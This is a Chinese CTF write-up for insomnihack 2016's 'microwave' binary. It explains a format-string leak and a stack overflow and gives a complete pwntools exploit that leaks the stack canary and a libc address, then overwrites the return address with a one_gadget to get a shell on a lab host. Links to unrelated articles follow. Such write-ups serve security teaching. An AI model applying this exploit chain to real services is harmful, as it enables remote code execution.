程序基本信息

   程序防护全开,shellcode修改got表等方法都不太可行,同时pie开启也使程序代码随机化了。

程序漏洞

   这是一个发推特的程序,具体功能不在这里细说,这个程序有两个漏洞:
一个是存在在功能1中的格式化字符串漏洞,在函数sub_55D83D2C4F00中

   通过分析可以发现,a1是我们输入的值,所以这里我们可以输入格式化字符串泄露栈上的地址

   第二个是存在在功能2中的栈溢出漏洞,在函数sub_55D832C5000中

   由于这个函数的调用没有靠传统的rbp,而是靠sub rsp与add rsp来分配回收栈帧的,所以溢出字节数需要自己测算一下

整体思路

   由于程序给了libc,我们用one gadget工具看看可以跳转到那些地址能get shell

   我们可以选用第一个,只要让返回地址返回到内存中gadget位置即可(需要注意控制rax的值为0)。
找到getshell的方法后,我们的思路就很清晰了,首先我们输入构造好的格式化字符串和password(程序中能找到),泄露栈上的libc中stdin的地址,然后减去stdin在libc中的偏移再加上0x45526就能得到gadget在内存中的起始地址,然后调用有栈溢出的函数,让返回地址指向gadget,就能成功pwn掉程序get shell

exp脚本

from pwn import *

context.update(os = 'linux', arch = 'amd64')

io = remote('172.17.0.2', 10001)

io.sendline('1')					#使用功能1触发格式化字符串漏洞
io.recv('username: ')
io.sendline('%p.'*8) #格式化字符串泄露libc中的地址和canary
io.recvuntil('password: ')
io.sendline('n07_7h3_fl46') #密码硬编码在程序中,可以直接看到
leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.')
leak_libc = int(leak_data[7], 16) #通过调试可知,stdin在printf的第8个参数
one_gadget_addr = leak_libc - 0x3c26f0 + 0x45526 #计算one gadget RCE地址(0x3c26f0和0x45526分别为stdin跟gadget在libc中的偏移)
canary = int(leak_data[5], 16) #通过调试可知,canary在printf的第6个参数
log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr)) payload = "A"*1032 #padding
payload += p64(canary) #正确的canary,canary在栈上与返回地址有8个字节的差距
payload += "B"*8 #padding
payload += p64(one_gadget_addr) #one gadget RCE io.sendline('2') #使用有栈溢出的功能2
io.recvuntil('#> ')
io.sendline(payload) sleep(0.5)
io.interactive()

内容参考

Linux pwn入门教程(9)

insomnihack CTF 2016-microwave的更多相关文章

  1. Sharif University CTF 2016 -- Login to System (PWN 200)

    EN: It's easy to find out where is the bug : .text:0000000000400DE4 ; void *start_routine(void *).te ...

  2. Sharif University CTF 2016 - Smooth As Silk

    Category: Crypto Points: 200 Solves: 11 Description: p > q n = p*q = 1146153281852525177586999436 ...

  3. Sharif University CTF 2016 -- Android App

    很多种的方案: 方案 A: 直接逆向读代码方案 B: 解包,加入debug信息,重新打包,动态调试方案 C: 解包,改代码加入log.i整出flag, 去掉MainActivity里面d=什么也可以, ...

  4. H4CK1T CTF 2016 Mexico-Remote pentest writeup

    进去网站之后发现连接都是包含类型的,就能想到文件包含漏洞(话说刚总结过就能遇到这题,也算是复习啦) 这里用php://filter/read=convert.base64-encode/resourc ...

  5. Asis CTF 2016 b00ks理解

    ---恢复内容开始--- 最近在学习堆的off by one,其中遇到这道题,萌新的我弄了大半天才搞懂,网上的很多wp都不是特别详细,都得自己好好调试. 首先,这题目是一个常见的图书馆管理系统,虽然我 ...

  6. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  7. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  8. 引言:CTF新世界

    1. CTF的昨天和今天 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.CTF起源于1996年DEFCON全球黑客 ...

  9. 萌新带你开车上p站(番外篇)

    本文由“合天智汇”公众号首发,作者:萌新 前言 这道题目应该是pwnable.kr上Toddler's Bottle最难的题目了,涉及到相对比较难的堆利用的问题,所以拿出来分析. 登录 看看源程序 程 ...

随机推荐

  1. 【转】Java基础——面试题汇总

    1.JDK 和 JRE 有什么区别? JDK:Java Development Kit 的简称,java 开发工具包,提供了 java 的开发环境和运行环境. JRE:Java Runtime Env ...

  2. laravel管理模型插入

    post控制器public function comment(Post $post,Request $request){ try{ if(empty($request->content)){ E ...

  3. C#-MailHelper

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...

  4. 使用华为云+GitHub搭建自己的博客

    1.搭建自己博客首先创建GitHub账号 在GitHub官网上创建一个账号:   我的账号地址是 : https://github.com/SueKayTian 2.GitHub账号创建好之后,客户端 ...

  5. 读取xml时,报错:xml.etree.ElementTree.ParseError: no element found: line 20, column 9

    读取xml时,出现报错:xml.etree.ElementTree.ParseError: no element found: line 20, column 9 原因是xml文件格式有问题,可以检查 ...

  6. 检查shell脚本

    1.检查solr服务监控脚本: #/bin/bash starttime=$(date +%Y-%m-%d\ %H:%M:%S) http_code=$(curl -I -m -o /dev//sol ...

  7. P1078 文化之旅[最短路]

    题目背景 本题是错题,后来被证明没有靠谱的多项式复杂度的做法.测试数据非常的水,各种玄学做法都可以通过(比如反着扫),不代表算法正确.因此本题题目和数据仅供参考. 题目描述 有一位使者要游历各国,他每 ...

  8. 大数据之路week06--day01(Xshell和Xftp的下载与安装、配置JDK)

    上一节,介绍了VMware的下载与安装.安装CentOS 在企业中,我们大多数是不会有界面化操作的,领导也不会直接给你账户的,我们需要自己从外部链接到Linux系统进行操作,对Linux系统的操作都在 ...

  9. seo与python大数据结合给文本分词并提取高频词

    最近研究seo和python如何结合,参考网上的一些资料,写的这个程序. 目的:分析某个行业(例如:圆柱模板)用户最关心的一些词,根据需求去自动调整TDK,以及栏目,内容页的规划 使用方法: 1.下载 ...

  10. 微服务,开源 RPC 框架 - Spring Cloud

    Spring Cloud:国外 Pivotal 公司 2014 年对外开源的 RPC 框架,仅支持 Java 语言 Spring Cloud 利用 Spring Boot 特性整合了开源行业中优秀的组 ...